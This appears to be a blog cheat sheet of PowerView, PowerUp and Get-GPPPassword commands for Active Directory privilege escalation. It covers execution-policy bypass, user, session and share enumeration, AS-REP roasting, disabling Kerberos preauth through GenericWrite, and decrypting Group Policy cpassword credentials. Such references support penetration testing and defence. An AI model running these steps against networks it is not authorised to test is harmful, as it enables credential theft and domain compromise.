Collection of privsec scripts. To start, upload PowerView.ps1 and:
powershell -exec bypass PS> Import-Module .\PowerView.ps1
See the github site for all commands.
General enumeration
powershell -exec bypass PS> . .\PowerUp.ps1 PS> Invoke-AllChecks
Or:
powershell.exe -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks"
About users
Enumerates all users.
Get-NetUser
Enumerate all users which does not require Kerberos preauth.
- If there is any user listed, go AS-REP-roast them!
- If there is no user listed: If you have GenericWrite or GenericAll permissions on another AD user account, try to use this privilege to disable Kerberos preauthentication. Repeat this step afterwards.
Get-NetUser -PreauthNotRequired
Returns properties for all users (if some are set)
Get-UserProperty
Obtain a list of currently logged on users
Get-NetLoggedon [-ComputerName $name]
Get all active sessions against the previous found Domain Controller dc01
Get-NetSession -ComputerName dc01
Returns the Domain Admins
Get-NetGroupMember
Get the last login and password change date:
Get-NetUser | select cn,pwdlastset,lastlogon
About groups
Returns all local groups
Get-NetLocalGroup
Returns all groups
Get-NetGroup
Returns members of a group
Get-NetGroupMember $groupName
Returns all organizational units. (!= groups)
Get-NetOU
Enumerates local admins on all domain systems
Invoke-EnumerateLocalAdmin
About computers
Enumerates the forest
Get-NetForest
About the DC of this system.
Get-NetDomainController
Returns all computers of this domain
Get-NetComputer
- If there are some, try to browse them within PowerShell without mounting:
get-childitem "\\$computer\C$"
Enumerates all shares in the domain
Invoke-ShareFinder
Services
Shows active RDP sessions
Get-NetRDPSession
Helpers
Convert name into SID
Convert-NameToSid $name
Convert SID into name
Convert-SidToName $sid
Convert CPassword from Groups.xml in the shared Replication directory: (If this doesn’t work, just copy and past the function from the code into the PowerShell console and execute it afterwards.)
PS> . .\Get-GPPPassword.ps1 PS> Get-DecryptedCpassword $cpasswd
Leave a Reply
You must be logged in to post a comment.